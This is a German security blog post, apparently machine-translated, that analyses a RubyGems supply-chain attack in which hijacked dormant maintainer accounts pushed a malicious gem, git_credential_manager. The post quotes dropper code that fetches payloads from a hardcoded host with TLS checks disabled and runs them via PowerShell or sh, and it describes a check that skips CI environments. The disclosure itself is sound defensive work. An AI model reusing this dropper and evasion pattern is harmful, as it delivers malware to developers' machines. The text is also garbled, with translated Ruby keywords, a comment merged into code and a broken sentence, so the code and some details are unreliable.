Es kommt nicht oft vor, dass wir einen Angriff auf die Lieferkette von RubyGems beobachten. Aber da die Sommerferien gerade in vollem Gange sind, hätten wir vielleicht damit rechnen müssen. Dennoch war es eine Überraschung, als ich heute Morgen die triage öffnete und ein verdächtiges neues Paket vorfand.
Ein brandneues Juwel namens git_credential_manager Es wurden vier Versionen in rascher Folge veröffentlicht. Auf den ersten Blick schien es lediglich darum zu gehen, einige Binärdateien von einem mir bisher unbekannten Server herunterzuladen. Das konnte doch sicher nichts Bösartiges sein … oder?
Zufällige Binärdateien
Das Paket fiel sofort ins Auge, da es lediglich Binärdateien aus einem Git-Repository herunterlud, das unter https://git.disroot[.]org/git-ecosystem/.
git.disroot[.]org ist eine öffentliche Forgejo-Instanz, auf der jeder Repositorys anlegen kann. Jemand hatte praktischerweise den Benutzernamen git-Ökosystem, wodurch das Projekt gerade so seriös wirkt, dass kein unmittelbarer Verdacht entsteht.
Das Repository enthielt nichts als Binärdateien, von denen einige gezippt waren. Als wir eine davon bei VirusTotal einreichten, zögerten die Antiviren-Anbieter nicht lange und stuften sie als schädlich ein.
Was ist nur aus der Welt geworden, wenn wir nicht einmal mehr dem „Git-Ökosystem“ vertrauen können? /s
Nicht gerade subtil, wenn man genauer hinschaut
Wenn man die vier Versionen einzeln betrachtet, kann man in Echtzeit mitverfolgen, wie der Ausgabemechanismus in zwei Durchgängen über einen Zeitraum von etwa neun Stunden entsteht.
Version 2.8.0 war bereits vom ersten Tag an ein voll funktionsfähiger Dropper: Man erstellt eine URL für diesen fest programmierten Forgejo-Host, ruft sie auf, wobei die Zertifikatsüberprüfung ausdrücklich deaktiviert ist, und übergibt die Nutzlast direkt an eine Shell oder PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # SSL-Überprüfung deaktivierenwenn goos == "Windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
sonst
Process.spawn("/bin/sh \"#{full_path}\"")
end
Version 2.8.1, 24 Minuten später, änderte genau eine Sache: Es leitete die Ausgabe der Unix-Ausführung an /dev/null. Keine neue Funktion, nur eine leisere. Jemand hat die Konsolenausgabe seiner eigenen Malware beobachtet und festgestellt, dass sie zu laut war.
Dann folgt eine achtstündige Pause, vermutlich zum Schlafen, bevor die Version 2.8.2 Am nächsten Morgen zeigt sich dann die eigentliche Eskalation: Der Installer wird direkt in den Ladepfad des Gems eingebunden, sodass lediglich require-ing git_credential_manager (ohne eine Binärdatei zu installieren, ohne etwas explizit auszuführen, sondern lediglich die Bibliothek zu laden) reicht aus, um das Ganze in Gang zu setzen. Und in derselben Version ist die Zeile, die das heruntergeladene Skript ausführt, auskommentiert. Siebzehn Minuten später, Version 2.8.3 hebt die Auskommentierung auf. Ein einziges Zeichen – und schon wechselt der Dropper vom Testmodus in den Live-Modus.
Außerdem gibt es eine „skip_install?“-Prüfung, die nach etwa 30 Umgebungsvariablen sucht, die zu CI-Plattformen wie GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins und Vercel gehören, und nichts unternimmt, wenn eine davon gefunden wird. Dies wurde bewusst so konzipiert, um Build-Server zu vermeiden. Das Ziel sind die Laptops der Entwickler, nicht temporäre CI-Runner.
Weitere betroffene Pakete
Als Nächstes habe ich mir den Account des Verlags angesehen und festgestellt, dass dort noch einige weitere Perlen zu finden waren. Einige waren seit 2019 nicht mehr aktualisiert worden, während andere gestern und heute plötzlich neue Veröffentlichungen erhalten hatten.
Am auffälligsten war Dendreo, das erstmals 2017 veröffentlicht wurde. Etwa zur gleichen Zeit wie git_credential_manager erschienen zwei neue Versionen. Es überrascht nicht, dass der Angreifer git_credential_manager als Abhängigkeit hinzugefügt hatte, wodurch sich die schädliche Nutzlast auf bestehende Nutzer ausbreiten konnte.
Noch besorgniserregender ist, dass der Angreifer zudem eine neue Version von fastlane-plugin-run_tests_firebase_testlab, ein Projekt, das in keinerlei Zusammenhang mit Insgesamt 574.661 Downloads. Im Gegensatz zu den anderen kompromittierten Gems gehörte dieses einem völlig anderen Betreuer, was darauf hindeutet, dass sich die Kompromittierung über ein einzelnes Konto hinaus erstreckte.
Die eigentliche Lehre, die man hier daraus ziehen kann
Wir haben bereits über zahlreiche Vorfälle bei npm und PyPI berichtet, die diesem ähnlich waren. RubyGems blieb von diesem Trend größtenteils verschont, und wir konnten keinen früheren Fall finden, in dem zwei voneinander unabhängige, lange inaktiv gewesene Betreuerkonten innerhalb weniger Stunden nacheinander reaktiviert wurden, um dieselbe Abhängigkeit in Gems einzuspielen, denen die Nutzer bereits vertrauten. Soweit wir das beurteilen können, ist dies für RubyGems die erste echte Erfahrung mit dem, womit npm und PyPI sich nun schon seit über einem Jahr auseinandersetzen müssen.
Ein RubyGems-Konto, das seit sechs oder sieben Jahren inaktiv ist, erscheint niemandem als riskant. Genau das ist das Profil, das es sich zu übernehmen lohnt. Daher kommt auch der Name „SleeperGem“: Es handelt sich nicht um ein gezielt eingeschleustes, langfristig geplantes Angriffsinstrument, sondern um ein echtes, ganz normales Konto, das einfach inaktiv geworden war und harmlos genug wirkte, um es zu kapern, ohne dass es jemand bemerkte.
Bislang sind zwei Konten gesperrt worden – in einem Register, das dies bisher größtenteils vermeiden konnte. Hoffen wir, dass sich daraus kein Trend entwickelt.
